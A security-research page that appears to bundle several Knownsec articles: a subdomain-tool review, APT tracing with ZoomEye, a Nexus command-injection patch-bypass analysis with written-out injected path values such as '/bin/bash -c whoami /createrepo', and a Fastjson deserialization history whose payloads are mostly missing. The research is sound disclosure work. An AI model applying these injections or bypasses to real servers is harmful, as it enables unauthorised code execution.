    ESD只能用文本相似度来过滤泛解析,但以此会导致机器的内存,CPU都暴涨,机器性能小不建议使用。

    另外ESD似乎不能在windows下使用,因为看最后保存的路径写死了是/tmp/esd

    image-20200811173500596

    其他感觉没有不兼容的地方,解决了这个路径Windows应该就可以用了。

    另外

    • 解决各家DNS服务商对于网络线路出口判定不一致问题
    • 解决各家DNS服务商缓存时间不一致问题
    • 解决随机DNS问题,比如fliggy.com、plu.cn等

    这三个不知道怎么解决的,可能代码躲在了哪个角落,没发现。

    OneForAll

    OneForAll https://github.com/shmilylty/OneForAll

    OneForAll的更新很勤快,我写这篇文章时,发现1小时前就有新的提交。

    image-20200811180837960

    OneForAll的功能也很多,被动搜索域名,子域爆破,子域接管,端口探测,指纹识别,导出等等。

    被动搜索

    OneForAll集成了很多收集域名的web接口,每个接口为一个py文件,py文件中最后都会基于common/module.py Module这个类,这个类提供了很多需要通用方法,如网页的请求,匹配域名,保存结果以及运行时需要的各类方法。

    比较令人注意的是匹配域名的方法,因为很多web的接口返回格式都不太一样,要每个插件都处理一遍这样的格式吗?不必,OneForAll编写了通用域名匹配函数,即通过正则对最终结果匹配。

    泛解析处理

    通过DNS泛解析域名时返回的TTL相同。

    参考的 http://sh3ll.me/archives/201704041222.txt

    泛解析一直都是域名爆破中的大问题,目前的解决思路是根据确切不存在的子域名记录(md5(domain).domain)获取黑名单 IP,对爆破 过程的结果进行黑名单过滤。 但这种宽泛的过滤很容易导致漏报,如泛解析记录为 1.1.1.1,但某存在子域名也指向 1.1.1.1,此时这个子域名便可能会被黑名单过 滤掉。 胖学弟提到,可以将 TTL 也作为黑名单规则的一部分,评判的依据是:在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名 记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。最终的判断代码如下:

    这个方法是否好,我也不知道。

    爆破流程

    brute.py简写版爆破流程

    域名接管

    OneForAll的域名接管主要是针对一些公共服务的域名接管,根据其指纹识别的内容

    原理是获取域名的cname,如果cname和上述指纹匹配,并且访问后返回内容也匹配即说明目前无人使用,可以创建一个相同域名。

    但创建都需要手动,OneForAll只提供了一个GIthub的自动创建脚本modules/autotake/github.py,但没有看到任何地方调用它。

    OneForAll的域名接管只针对在线服务商。

    原先以为会对每个普通域名查询cname,然后查询cname的域名是否注册,但是没有。

    指纹识别

    OneForAll的指纹识别使用的是 https://github.com/webanalyzer/rules

    作者定义了通用指纹识别的规则

    并且集成转化了fofa,wappalyzer,whatweb的指纹,感觉挺不错的。

    指纹识别具体的文件在modules/banner.py,根据指纹识别的规则,基本上访问一次首页就能识别到指纹。唯一不解的是作者只使用了多进程来识别,为什么前面是协程+多进程,指纹识别这里只用进程了,感觉效率会大大受影响。

    image-20200812114924375

    其他

    OneForAll 基于Python3,官方要求Python3.8以上,依赖项requirements.txt有38行,这样对使用者不太友好(Python要求版本太高,依赖太多,很容易报错)。

    dnsprobe

    dnsprobe https://github.com/projectdiscovery/dnsprobe

    dnsprobe是go语言编写的dns查询工具,因为go语言隐藏了协程的细节,使用简单的编程便可以实现并发编程。同时用go语言静态编译可以运行在各种平台,也极大方便了使用者。

    dnsprobe的作者也很能注意到效率的瓶颈点,例如如果是大字典的dns爆破,读取这个字典就要花费不少时间,而dnsprobe是边读边爆破,上述分析的工具都没有注意到这个点。

    image-20200812135541025

    但是用Python做到还是很不容易的,使用python的协程后,需要把所有函数都变为协程,才能发挥协程的威力,如果要实现边读边扫描,要将读取文件变为协程,以及扫描变为协程。

    为此需要安装一个额外的包

    subfinder

    subfinder https://github.com/projectdiscovery/subfinder

    同属projectdiscovery项目下的子域名发现工具subfinder,它的定位是通过各种接口来发现有效子域名。

    subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well.

    subfinder仅用于做一件事-被动子域枚举,它做得很好。

    它的接口列表

    subfinder是go写的,那么是如何加载这些接口的呢

    subfinder的每个接口都需要实现Source这个接口

    image-20200812152013318

    接着定义Agent实现一个map类,map的内容为每个接口的Source

    image-20200812152145720

    接着搜索域名时只需要遍历这个map,执行其中的Run方法即可。

    image-20200812152304342

    配合

    通过在线接口获取域名后批量dns查询域名保存为domain.txt文件

    shuffledns

    https://github.com/projectdiscovery/shuffledns

    shuffledns就是调用的massdns,将返回结果处理了一下。OneForAll和shuffledns都使用了massdns那么就来看看它。

    massdns

    https://github.com/blechschmidt/massdns

    Massdn 是一个简单的高性能 DNS 存根解析器,针对那些寻求解析数百万甚至数十亿个大量域名的用户。在没有特殊配置的情况下,使用公开可用的解析器,massdn 能够每秒解析超过350,000个名称。

    C语言编写,第一次提交记录在2016年。

    粗略的看了下代码,massdns使用socket发包,然后用epoll,pcap,busy-wait polling等技术来接收。

    去年我写了篇《从 Masscan, Zmap 源码分析到开发实践》(https://paper.seebug.org/1052/),当时我就想过用"无状态扫描"技术来对DNS爆破,当时只用pcap模块来进行发送和接收

    image-20200812160929189

    理论速度是可以到70w/s的。

    最近准备再改改然后开源出来~

    总结

    原本计划还有OWASP Amass的,这个就留给下篇吧。

    总结一下

    • subDomainBrute老牌DNS爆破工具,使用让人感觉很稳很友好,依赖较少,很好安装。
    • ESD 域名收集方法很多,对接的web接口比较少,支持python调用,用于集成到扫描器应该不错。
    • OneForAll依赖较多,功能比较全面,但功能还是有些欠缺,有些地方效率考虑的不够好。适合对一个新的域名爆破,结果比较多。

    对于子域名收集,我推荐的组合是subfinderdnsprobe,它们都是go语言,直接下载二进制就能跑,subfinder用于收集网上接口(但接口似乎没有OneForAll多),dnsprobe用于爆破/验证域名。

    用linux哲学,跑的可以更优雅~

    另外进行DNS爆破时,DNS解析器的设定非常重要,它决定了爆破的质量和数量,推荐1w字典就增加一个DNS服务器。

    在写文章的时候可能会有些错误或者不到的地方,可以在paper评论区回复和我讨论~


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1292/

    作者:江 | Categories:技术分享 | Tags:
  • Look for traces of APT attacks through the ZoomEye history api

    2020-11-02

    Author: Heige(a.k.a Superhei) of KnownSec 404 Team 
    Date: May 25,2020

    Chinese version:https://paper.seebug.org/1219/

    We had released ZoomEye’s historical data API query interface in ZoomEye 2020 that had launched in January this year: https://medium.com/@80vul/zoomeye-2020-has-started-8414d6aaf38. Next, I will introduce some examples of using ZoomEye History API to capture the traces of APT team attacks.

    Instructions for using the historical query API interface: https://www.zoomeye.org/doc#history-ip-search ,Of course we have also updated our ZoomEye SDK support history api: https://github.com/knownsec/ZoomEye.

    Before the cases are explained, I must explain the ZoomEye online data update mode again: it is the overwrite update mode. Many malware teams, including many apt teams, will abandon the C2 server immediately after it is discovered. So this also causes the data on ZoomEye to be cached without being updated and overwritten.

    The first case is about Darkhotel APT group

    I have already mentioned it in this tweet, of course, here needs to explain a "bug" in this tweet ,Although this “bug” has nothing to do with the issue discussed today : The vulnerability used in this attack should be CVE-2019-1367 instead of CVE-2020-0674 (Here we need to thank the friends who discussed together)

    In this Darkhotel attack, they attacked the ip website service and implanted ie 0day to carry out Watering Hole attack. So we queried all historical data of this IP on ZoomEye:

    List all scan time records and ports about this IP

    Query the time and port of the IE 0day implanted into the Watering Hole attack :

    It turned out that this Watering Hole attack continued from at least '2019-10-06 05:24:44' to '2020-01-28 10:58:02' , This also shows that Darkhotel APT group attacked this IP website as early as 2019-10-06.

    We continue to analyze the port service of this IP in 2019 :

    Very typical Tomcat-based JSP operating environment, and once opened 8009 ajp port. Many attack events prove that tomcat manages weak passwords, security vulnerabilities and other issues, making security very vulnerable,Perhaps this is also the method used in this attack.

    The second case is about APT-C-01(a.k.a Green Spot)

    Qi An Xin Threat Intelligence Center released a detailed analysis report on APT-C-01 in 2018: https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/ (En)https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf(Ch)

    "The loader program will first try to connect to a common URL to check network connectivity. If there is no connection, it will try to connect every five seconds until the network is connected. Then it downloads the payload from hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp"

    We put our focus on the payload download URL hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp>,Through the ping command, we can no longer find the IP address of this domain name resolution :

    From the Chinese version of the report, we see a screenshot that shows that can opendir

    This means we can find the target by searching "tiny1detvghrt.tmp" on ZoomEye ,Very lucky we found it :

    Once again, after the APT attack was discovered, these IPs were directly abandoned.

    We get the IP(165.227.220.223) of the domain(updateinfo.servegame.org) name and continue to query the historical records through the ZoomEye history api interface

    Let's look at the time interval for tiny1detvghrt.tmp deployment : from at least '2017-11-21 19:09:14' to '2018-05-20 00:55:48'

    Let's look at the time node before tiny1detvghrt.tmp deployment: 2017-10-04 05:17:38

    From the file naming method and file size, it can be inferred that this time node, the attacker should be a drill before the attack.

    Final summary

    The cyberspace search engine is very useful in the tracking of cyberattack threats by using active detection methods. It rechecks the attacker's attack methods, purposes, and processes through the timeline of historical records. Finally, I would like to thank all the friends who support ZoomEye. As the world's leading search engine for cyberspace mapping, ZoomEye has been working hard!


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1220/

    作者:江 | Categories:技术分享 | Tags:
  • Nexus Repository Manager 2.x command injection vulnerability (CVE-2019-5475) bypassed twice

    2020-11-02

    Author: Badcode and Longofo@Knownsec 404 Team
    Date: 2020/02/09
    Chinese Version: https://paper.seebug.org/1260/

    Foreword

    At the beginning of September 2019, we responded to the Nexus Repository Manager 2.x command injection vulnerability (CVE-2019-5475). The general reason and steps for recurrence are on Hackerone. It was announced that after emergency response to this vulnerability, we analyzed the patch to fix the vulnerability and found that the repair was incomplete and could still be bypassed. This article records two bypasses of the vulnerability. Although the fix version was released twice early, the official second update announcement is too slow https://support.sonatype.com/hc/en-us/articles/360033490774, so now we post this article.

    The timeline:

    • CVE-2019-5475(2019-08-09)
    • Bypassed for the first time, CVE-2019-15588 (2019-10-28)
    • Bypassed for the second time, CVE was not assigned, and the bulletin impact version was updated (2020-3-25)

    Note: The original vulnerability analysis, the first bypass analysis, and the second bypass analysis were mainly written by Badcode, the second bypass analysis+, and the latest version analysis was mainly added by Longofo.

    Original vulnerability analysis

    Conditions of use

    • Requires administrator rights (default authentication: admin/admin123)

    Vulnerability analysis

    The code analyzed below is based on version 2.14.9-01.

    The vulnerability is in the Yum Repository plugin, when configuring Yum's createrepo or mergerepo

    img

    The code level will jump toYumCapabilitactivationConditionmethod:

    img

    The value set in Path of "createrepo" above will be obtained through getConfig().getCreaterepoPath(). After obtaining this value, call the this.validate() method on Path of "createrepo". The value set in will be obtained through getConfig().getCreaterepoPath(). After obtaining this value, call the this.validate() method

    img

    The path passed in is user-controllable, and then the path splicing --version is then passed to the commandLineExecutor.exec() method, which looks like a method of executing commands, and this is also the case. Follow up the exec method of the CommandLineExecutor class

    img

    Parse the command before executing the command. CommandLine.parse() will use spaces as separators to obtain executable files and parameters. Eventually, the call to Runtime.getRuntime().exec() executed the command. For example, the command passed by the user is cmd.exe /c whoami, and finally the method to getRuntime().exec() is Runtime.getRuntime().exec({"cmd.exe","/c" ,"whoami"}). So the principle of the vulnerability is also very simple, that is, when the createrepo or mergerepo path is set, the path can be specified by the user, the --version string is spliced halfway, and finally it is executed at getRuntime.exec() Order.

    Vulnerability reproduction

    Pass the payload in Path of "createrepo".

    img

    You can see the execution result in the Status column

    img

    Bypass analysis for the first time

    First patch analysis

    The official patch has changed a few places, the key point is here

    img

    It is common practice to filter commands before executing them. A new getCleanCommand()method has been added to filter commands.

    img

    allowedExecutables is a HashSet with only two values, createrepo and mergerepo. First determine whether the command passed in by the user is in allowedExecutables, if so, directly splice paramsie --version and return directly. Then determine the path of the command passed in by the user. If it starts with the working directory of nexus (applicationDirectories.getWorkDirectory().getAbsolutePath()), return null directly. Continue to judge, if the file name is not in allowedExecutables then return null, that is, this command needs to end with /createrepo or /mergerepo. After passing the judgment, the absolute path of the file is concatenated and returned by --version.

    First patch bypass

    To be honest, at the first glance at this patch, I felt that there was a high probability that it would be around.

    The incoming command only needs to meet two conditions, not beginning with nexus' working directory, and ending with /createrepo or /mergerepo.

    Seeing the getCleanCommand() method in the patch, new File(command) is the key, and new File()is to create a new File instance by converting the given pathname string into an abstract pathname. It is worth noting that spaces can be used in the path string, which is

    This is legal, and the value obtained by calling file.getName() is shadow. Combined with this feature, you can bypass the judgment in the patch.

    operation result

    img

    It can be seen that the value of file.getName() is exactly createrepo, which satisfies the judgment.

    Bypassing the test for the first time

    Test environment
    • 2.14.14-01 version
    • Linux
    Test procedure

    Pass the payload in Path of "createrepo".

    img

    Check the execution result in the Status column

    img

    As you can see, the patch was successfully bypassed.

    Under the Windows environment, it is a little troublesome. There is no way to execute commands in the form of cmd.exe /c whoami, because cmd.exe /c whoami becomes cmd.exe \c whoami after new File() , which cannot be executed later. You can directly execute the exe. Note that --version will also be spliced later, so many commands cannot be executed, but there is still a way to make use of the ability to execute any exe to carry out subsequent attacks.

    Second bypass analysis

    Second patch analysis

    After I submitted the above bypass method, the official fixed this bypass method, see the official patch

    img

    Added a file.exists() method in the getCleanCommand() method to determine whether the file exists. The previous form of /bin/bash -c whoami /createrepo would definitely not work, because this file does not exist. So now there is another judgment, and the difficulty has increased. Is there no way to bypass it? No, it can still be bypassed.

    Second patch bypass

    Now the incoming command has to meet three conditions

    • Does not start with nexus' working directory
    • End with /createrepo or /mergerepo
    • And this file createrepo or mergerepo exists

    Seeing file.exists(), I remembered file_exists() in php. I also encountered this kind of judgment when I was doing php before. There is a system feature. In the Windows environment, directory jumps are allowed to jump to non-existing directories, while under Linux, you cannot jump to non-existing directories.

    have a test

    Linux

    img

    As you can see, file.exists() returned false

    Windows

    img

    file.exists() returned true

    Above we said new File(pathname), pathname is allowed with spaces. Using the features of the above WIndows environment, set cmd to C:\\Windows\\System32\\calc.exe \\..\\..\\win.ini

    img

    After the parse() method, finally getRuntime.exec({"C:\\Windows\\System32\\calc.exe","\\..\\..\\win.ini"}) , So that you can execute calc.

    In the above test, "win.ini" is a file that does exist. Returning to the patch, you need to determine whether createrepo or mergerepo exists. First of all, from a functional point of view, the createrepo command is used to create a yum source (software repository), that is, to index many rpm packages stored in a specific local location, describe the dependency information required by each package, and form metadata. That is, this createrepo is unlikely to exist under Windows. If this does not exist, there is no way to judge. Since createrepo does not exist on the server, I will try to create one. I first tried to find an upload point and tried to upload a createrepo, but I didn't find a point where the name would remain unchanged after uploading. After uploading at Artifacts Upload, it becomes the name of the form Artifact-Version.PackagingArtifact-Version.Packaging does not satisfy the second judgment and ends with createrepo.

    At the beginning, when I saw file.exists(), I entered the mindset, thinking that it was judged that the file exists, but after reading the official documentation, I found that the file or directory exists. This is the second key point caused by this vulnerability. I can't create files, but I can create folders. When uploading Artifacts in Artifacts Upload, it can be defined by GAV Parameters.

    img

    When Group is set to test123Artifact is set to test123, and Version is set to 1, when uploading Artifacts, the corresponding directory will be created in the server. The corresponding structure is as follows

    img

    If we set Group to createrepo, then the corresponding createrepo directory will be created.

    Combine two features to test

    img

    As you can see, file.exists() returned true, and file.getName() returned createrepo, both of which met the judgment.

    Finally, in getRuntime(), it is probably

    getRuntime.exec({"C:\Windows\System32\notepad.exe","\..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo","--version"})

    Can successfully execute notepad.exe. (The calc.exe demo cannot see the process, so replace it with Notepad.exe)

    Second bypass test

    Test environment
    • 2.14.15-01 version
    • Windows
    Test procedure

    Pass the payload in Path of "createrepo".

    img

    View the process, notepad.exe started

    img

    As you can see, the patch was successfully bypassed.

    Second bypass analysis+

    After the second bypass analysis by @Badcode, you can see that you can successfully execute commands on the Windows system. But there is a big limitation:

    1. nexus needs to be installed on the system disk
    2. Some commands with parameters cannot be used

    The above-mentioned "Artifacts Upload" upload location can upload any file, and the uploaded file name is obtained by splicing with custom parameters, so you can guess. Then you can upload any exe file you wrote.

    Second bypass analysis + test

    Test environment
    • 2.14.15-01 version
    • Windows
    Test procedure

    Navigate to Views/Repositories->Repositories->3rd party->Configuration, we can see the absolute path of default local storage location (the content uploaded later is also in this directory):

    Navigate to Views/Repositories->Repositories->3rd party->Artifact Upload, we can upload malicious exe files:

    The exe file will be renamed to createrepo-1.exe (spliced by custom parameters):

    Also pass the payload into Path of "createrepo" (at this time, please note that the previous part starts with the nexus installation directory, which will be judged in the patch, so you can add ..\ at the top level or Get a false layer aaa\..\ etc.):

    You can see that createrepo-1.exe has been executed:

    Latest version analysis

    Latest version patch analysis

    After the second patch was bypassed, the official fixed it again. The official patch is as follows:

    Removed the previous repair method and added the YumCapabilityUpdateValidator class. In validate, the obtained value and the value set in the properties are verified using absolutes for equal equality. This value can only be modified through sonatype-work/nexus/conf/capabilities.xml:

    Latest version verification

    The front end is directly prohibited from modification, and the test is modified by capturing packets:

    In YumCapabilityUpdateValidator.validate breaks to:

    It can be seen that this repair method can no longer be bypassed, unless the configuration file is overwritten by the file coverage, such as decompression and overwriting, but I was not found.

    However, the place where Artifacts Upload can upload arbitrary files is still there. If the above situation appears in other places, it can still be used.


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1261/

    作者:江 | Categories:技术分享 | Tags:
  • Fastjson Deserialization Vulnerability History

    2020-11-02

    Author:Longofo@Knownsec 404 Team 
    Time: April 27, 2020 
    Chinese version:https://paper.seebug.org/1192/

    Fastjson doesn't have a cve number, so it's difficult to find the timeline. At first,I wrote something slowly. Fortunately, fastjson is open source and there are hard work records of other security researchers. This article will give the key updates and vulnerability timelines related to Fastjson and the vulnerabilities,I will test and explain some of the more classic vulnerabilities, and give some check payloads and rce payloads.

    Fastjson Parsing Process

    You can refer to fastjson process analysis written by @Lucifaer. I will not write it here, and it will occupy a lot of space. In this article said that fastjson has byte code generated using ASM. Since many classes are not native in actual use, fastjson serializes/deserializes most classes will be processed by ASM. You can use idea to save byte files during dynamic debugging:

    The inserted code is:

    Generated class:

    But this class cannot be used for debugging, because the code generated by ASM in fastjson does not have linenumber, trace and other information.However, it should be feasible to generate bytecode by rewriting part of the code in the Expression window.(I have not tested it. If you have enough time or interest, you can see how ASM generates bytecode that can be used for debugging).

    Fastjson Demo Test

    First test the following example with multiple versions:

    Tips:

    • @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of key: value of json to the class corresponding to @type.
    • Several methods of the sample User class are relatively common methods, the naming and return values are all conventionally written in accordance with the requirements of the bean, so some special calls in the following sample test will not be covered, but in the vulnerability analysis , We can see some special cases.
    • Parse uses four types of writing, all of which can cause harm (however, whether it can actually be used depends on the version and whether the user has turned on certain configuration switches, see later).
    • The sample tests all use jdk8u102, and the code is the source code test. It mainly uses samples to explain the process of autotype default opening, the appearance of checkautotype, and the version of the black list and white list from which it appears and enhancement methods.
    1.1.157 Test

    This should be the original version (the earliest tag is this), the result:

    Below is a brief explanation of each result.

    JSON.parse(serializedStr)

    When @type is specified, the default constructor of the User class is automatically called. The setter method(setAge, setName) corresponding to the User class is the final result. It is an instance of the User class, but it is worth noting that the public sex is successfully assigned,while private address is not successfully assigned, but after 1.2.22, 1.1.54.android, a SupportNonPublicField feature is added. If this feature used, private address can be successfully assigned even without setter, getter, this feature is also related to a later vulnerability. Pay attention to the order of the default constructor and setter method. The default constructor comes first. At this time, the property value has not been assigned, so even though there are dangerous methods in the default constructor, the harmful value has not been passed in.The default constructor is logical and will not be a method of exploit, but for the inner class, the outer class first initializes some of its own attribute values, but the inner class default constructor uses some values of the attributes of the parent class, which may still cause harm.

    It can be seen that the autotype function has been available since the original version, and autotype is enabled by default. At the same time, there is no blacklist in the ParserConfig class.

    JSON.parseObject(serializedStr)

    When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class and the corresponding getter method (getAge, getName), and the final result is a string. There are more getter methods (note that the bool type starts with is), because parseObject calls JSON.toJSON (obj) when there are no other parameters, and the obj property value will be obtained through the gettter method later:

    JSON.parseObject(serializedStr, Object.class)

    When @type is specified, there is no difference between this type of writing and the first type of JSON.parse(serializedStr).

    JSON.parseObject(serializedStr, User.class)

    When @type is specified, the default constructor of the User class is automatically called, the setter method (setAge, setName) corresponding to the User class, and the final result is an instance of the User class. This way of writing clearly specifies that the target object must be of type User. If the type corresponding to @type is not User or its subclass, a mismatch exception will be thrown. However, even if a specific type is specified, there is still a way before the type matches To trigger the vulnerability.

    1.2.10 Test

    For the above User class, the test result is the same as 1.1.157, so I won't write it here.

    In this version, autotype is still enabled by default. However, from this version, fastjson added denyList in ParserConfig, until version 1.2.24, this denyList has only one class (however, this java.lang.Thread is not used for exploits):

    1.2.25 Test

    The test result is that an exception is thrown:

    Starting from 1.2.25, autotype is turned off by default. For autotype to be turned on, later vulnerability analysis will be involved. And from 1.2.25, the checkAutoType function is added. Its main function is to detect whether the class specified by @type is in the white list or black list (using the startswith method)

    And whether the target class is a subclass or subinterface of two dangerous classes (Classloader, DataSource), where the whitelist has the highest priority, and the whitelist does not detect blacklists and dangerous classes if allowed, otherwise it continues to detect blacklists and dangerous classes:

    The number of blacklist classes and packages has been increased, and the whitelist has also been added. Users can also call related methods to add blacklist/whitelist to the list:

    Many of the latter vulnerabilities are due to the repair of checkautotype and some of its own logical defects, as well as the increasing blacklist.

    1.2.42 Test

    As with 1.2.25, autotype is not enabled by default, so the result is the same, directly throwing the exception that autotype is not enabled.

    From this version, the denyList and acceptList have been replaced with decimal hashcode, which makes the security research more difficult (however, the calculation method of hashcode is still public. If you have a large number of jar packages, such as maven warehouse, you can crawl the jar package, run the class name and package name in batches.But if the blacklist is the package name, it will take some time to find the specific available class):

    The detection in checkAutotype has also been modified accordingly:

    1.2.61 Test

    As the 1.2.25, autotype is not enabled by default, so the result is same, directly throwing the exception that autotype is not enabled.

    From 1.2.25 to 1.2.61, a lot of bypasses and blacklists have actually been added, but this part of the vulnerability version line is written specifically. The 1.2.61 version is written here mainly to illustrate the blacklist defens means. In version 1.2.61, fastjson changed the hashcode from decimal to hexadecimal:

    However, the hexadecimal representation is the same as the decimal representation, and jar packages can also be run in batches. In version 1.2.62, hex capital was added for uniformity:

    The later version is the increase of blacklist.

    Fastjson vulnerability version line

    The following vulnerabilities will not be analyzed too much. Too many will only briefly explain and give the payload to test and explain the repair method.

    ver<=1.2.24

    As you can see from the above test, there are no defense in 1.2.24 and before, autotype is enabled by default. Below a few classic payloads.

    com.sun.rowset.JdbcRowSetImpl

    payload:

    Test(jdk=8u102,fastjson=1.2.24):

    result:

    Brief analysis of triggering reasons:

    JdbcRowSetImpl object recovery-> setDataSourceName method call-> setAutocommit method call-> context.lookup (datasourceName) call

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    payload:

    Test(jdk=8u102,fastjson=1.2.24):

    result:

    Brief analysis of triggering reasons:

    TemplatesImpl object recovery-> JavaBeanDeserializer.deserialze-> FieldDeserializer.setValue-> TemplatesImpl.getOutputProperties-> TemplatesImpl.newTransformer-> TemplatesImpl.getTransletInstance-> Through defineTransletClasses, newInstance triggers the static code block of our own constructed class

    Brief description:

    This vulnerability needs to enable the SupportNonPublicField feature, which was also mentioned in the sample test. There is no corresponding setter for _bytecodes,_tfactory_name,_outputProperties and _class in the TemplatesImpl class, so to assign values to these private properties, you need to enable the SupportNonPublicField feature. The specific construction process of the poc will not be analyzed here, you can see Master Liao's this, involving some details.

    ver>=1.2.25&ver<=1.2.41

    Before 1.2.24, there are no autotype restriction. Starting from 1.2.25, autotype support was turned off by default, and checkAutotype was added. A blacklist and whitelist was added to prevent autotype from being turned on. Between 1.2.25 and 1.2.41, a checkAutotype bypass occurred.

    The following is checkAutoType code:

    Four position marks were made on it, because the following bypasses are also related to these positions. This time the bypass is through the previous 1, 2, 3 and successfully entered the location 4 to load the target class. Position 4 loadclass is as follows:

    Removed the L and ; before and after className, in the form of Lcom.lang.Thread;, this representation method is similar to the representation method of classes in the JVM, and fastjson handles this representation method. The previous blacklist detection was startedwith detection, so you can add L and ; to the class specified by @type to bypass the blacklist detection.

    Use the above JdbcRowSetImpl:

    Test(jdk8u102,fastjson 1.2.41):

    result:

    ver=1.2.42

    In 1.2.42, the checkAutotype bypass of 1.2.25 ~ 1.2.41 was fixed, the blacklist was changed to decimal, and the checkAutotype detection was changed accordingly:

    The blacklist has been changed to decimal, and the detection has been hashed accordingly. However, it is consistent with the detection process in 1.2.25 above, except the tests with startswith are replaced with hash operations. The fix for bypassing checkAutotype of 1.2.25 ~ 1.2.41 is the red box, judging whether the className is L and;, if it is, then intercept the second character and the penultimate character . Therefore, the bypass of checkAutotype in version 1.2.42 is to double write LL and;;. After interception, the process is the same as that of versions 1.2.25 ~ 1.2.41.

    Use the above JdbcRowSetImpl:

    Test(jdk8u102,fastjson 1.2.42):

    结果:

    ver=1.2.43

    1.2.43 For the bypass repair method of 1.2.42:

    Under the first if condition (beginning with L and ending with;), a condition starting withLL is added. If the first condition is met and starting with LL, an exception is thrown directly. So this repair method cannot be bypassed. In addition to the special processing of L and;[ is also treated specially, checkAutoType is bypassed again:

    Use the above JdbcRowSetImpl:

    Test(jdk8u102,fastjson 1.2.43):

    result:

    ver=1.2.44

    The 1.2.44 version fixes 1.2.43 bypass and handles [:

    Deleted the previous judgment of the beginning of L, the end of;, and the beginning ofLL, changed it to an exception of [ at the beginning or an exception at the end of ;, So the previous bypasses were fixed.

    ver>=1.2.45&ver<=1.2.46

    During these two versions, a blacklist was added and no checkAutotype bypass occurred. Several payloads in the blacklist are given in the RCE Payload at the back, so I won't write them here.

    ver=1.2.47

    This version has been successfully bypassed without enabling autotype. Analyze this bypass: 1. The use of java.lang.class, this class is not in the blacklist, so checkAutotype can be over. 2. The deserializer corresponding to this java.lang.class class is MiscCodec. When deserialize, it will take the val key value in the json string and load the class corresponding to this val. If fastjson cache is true, it will cache the class corresponding to this val to In the global map 3. If the class with val name is loaded again, autotype is not enabled (because it will detect the black and white list first, so this vulnerability autotype is turned on but not successful), the next step is try to obtain this class from the global map, if it is , return directly.

    There have been many analysis of this vulnerability. For details, please refer to this article.

    payload:

    Test(jdk8u102,fastjson 1.2.47):

    result:

    ver>=1.2.48&ver<1.2.68

    Fixed the bypass of 1.2.47 in 1.2.48. In MiscCodec, where the loadClass is processed, the cache is set to false:

    Between 1.2.48 and the latest version 1.2.68, there are added blacklist categories.

    ver=1.2.68

    1.2.68 is the latest version at present. Safemode was introduced in 1.2.68. When safemode is turned on, @type this specialkey is completely useless. Both whitelist and blacklist do not support autoType.

    In this version, in addition to adding a blacklist, a blacklist is also subtracted:

    I don't know if there is any other security personnel running out of this blacklist, whether it is a package name or a class name, and then it can be used for malicious exploitation. It is a bit strange anyway.

    Detect Fastjson

    The more commonly method of detecting Fastjson is to use the dnslog. After detecting it, use RCE Payload one by one. Colleagues said that it is possible to get the paylaod of the echo, but the target container/framework is different, and the echo method will be different. This is a bit difficult ..., let's use dnslog.

    dnslog detect

    At the present, fastjson detection is common to detect by dnslog mode, in which Inet4Address and Inet6Address are available until 1.2.67. Here are some payloads to be seen (combined with the rand: {} method above, which is more general):

    Some RCE Payload

    I didn't collect the payload about fastjson before, and I didn't run the jar package .... The following lists are the payloads circulated on the network and some of them deducted from marshalsec and transformed into a payload suitable for fastjson. The jdk version for each payload will not be tested one by one, I don't know how much time it takes to test this. The actual use basically can't be know in this version, whether autotype is turned on or not, the user's configuration, and the user added the blacklist/white or not. so just pass the constructed payload one by one. The basic payload:

    The following is a small script that can transfer the basic payload out of various bypass variants, and also adds \u,\x encoding forms:

    For example JdbcRowSetImpl results:

    Some people also scan maven warehouse packages to find malicious exploits to conform jackson and fastjson. It seems that most of them are looking for jndi-type vulnerabilities. For the blacklist, you can look at this project, it ran to version 1.2.62, most blacklists ran out, but many were package, which specific class still have to look for one by one in the package.

    Reference

    1. https://paper.seebug.org/994/#0x03
    2. https://paper.seebug.org/1155/
    3. https://paper.seebug.org/994/
    4. https://paper.seebug.org/292/
    5. https://paper.seebug.org/636/
    6. https://www.anquanke.com/post/id/182140#h2-1
    7. https://github.com/LeadroyaL/fastjson-blacklist
    8. http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
    9. http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
    10. http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
    11. http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
    12. https://xz.aliyun.com/t/7027#toc-4
    13. <https://zhuanlan.zhihu.com/p/99075925
    14. ...

    Too many, thanks all people for their hard work.


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1193/

    作者:江 | Categories:技术分享 | Tags:
  • 空指针-Base on windows Writeup — 最新版DZ3.4实战渗透

    2020-11-02

    作者:LoRexxar'@知道创宇404实验室
    时间:2020年5月11日 

    英文链接: https://paper.seebug.org/1205/

    周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。

    与默认环境的区别是,我们这次拥有两个额外的条件。

